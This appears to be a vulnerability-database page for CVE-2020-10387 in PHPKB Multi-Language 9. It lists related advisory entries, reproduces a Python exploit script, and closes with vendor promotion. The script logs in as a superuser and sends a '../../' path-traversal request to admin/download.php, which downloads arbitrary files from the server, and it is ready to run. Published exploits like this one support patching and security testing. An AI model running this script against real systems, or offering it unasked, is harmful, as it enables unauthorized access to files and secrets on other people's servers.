| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| PHPKB Multi-Language 9 Authenticated Directory Traversal Exploit | 17 Mar 202000:00 | – | zdt | |
| Chadha Software Technologies PHPKB Standard Multi-Language admin/download.php Path Traversal Vulnerability | 14 Mar 202000:00 | – | cnvd | |
| CVE-2020-10387 | 12 Mar 202013:03 | – | cve | |
| CVE-2020-10387 | 12 Mar 202013:03 | – | cvelist | |
| PHPKB Multi-Language 9 - Authenticated Directory Traversal | 16 Mar 202000:00 | – | exploitdb | |
| PHPKB Multi-Language 9 - Authenticated Directory Traversal | 16 Mar 202000:00 | – | exploitpack | |
| CVE-2020-10387 | 12 Mar 202014:15 | – | nvd | |
| CVE-2020-10387 | 12 Mar 202014:15 | – | osv | |
| Path traversal | 12 Mar 202014:15 | – | prion | |
| PT-2020-12057 · Chadha · Phpkb Standard Multi-Language | 12 Mar 202000:00 | – | ptsecurity |
`# Exploit Title: PHPKB Multi-Language 9 - Authenticated Directory Traversal
# Google Dork: N/A
# Date: 2020-03-15
# Exploit Author: Antonio Cannito
# Vendor Homepage: https://www.knowledgebase-script.com/
# Software Link: https://www.knowledgebase-script.com/pricing.php
# Version: Multi-Language v9
# Tested on: Windows 8.1 / PHP 7.4.3
# CVE : CVE-2020-10387
##########################
#!/usr/bin/env python3
import argparse
import requests
import shutil
#Parsing arguments
parser = argparse.ArgumentParser(description="Exploiting CVE-2020-10387 - Authenticated Arbitrary File Download in admin/download.php in Chadha PHPKB Standard Multi-Language 9")
parser.add_argument("url", type=str, help="PHPKB's base path")
parser.add_argument("username", type=str, help="Superuser username")
parser.add_argument("password", type=str, help="Superuser password")
parser.add_argument("file", type=str, help="The file you want to download (starting from PHPKB's base path)")
args = parser.parse_args()
session = requests.Session()
#Perform login
session.post(args.url + "/admin/login.php", data={'phpkb_username': args.username, 'phpkb_password': args.password, 'login': 'LOGIN'}).text
#Sending exploit code and downloading the file
url = args.url + "/admin/download.php?called=ajax&act=backup-lang&file=../../" + args.file
ext = url.split("/")[-1]
with open(ext, 'wb') as file:
shutil.copyfileobj(session.get(url, stream=True).raw, file)
del session
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation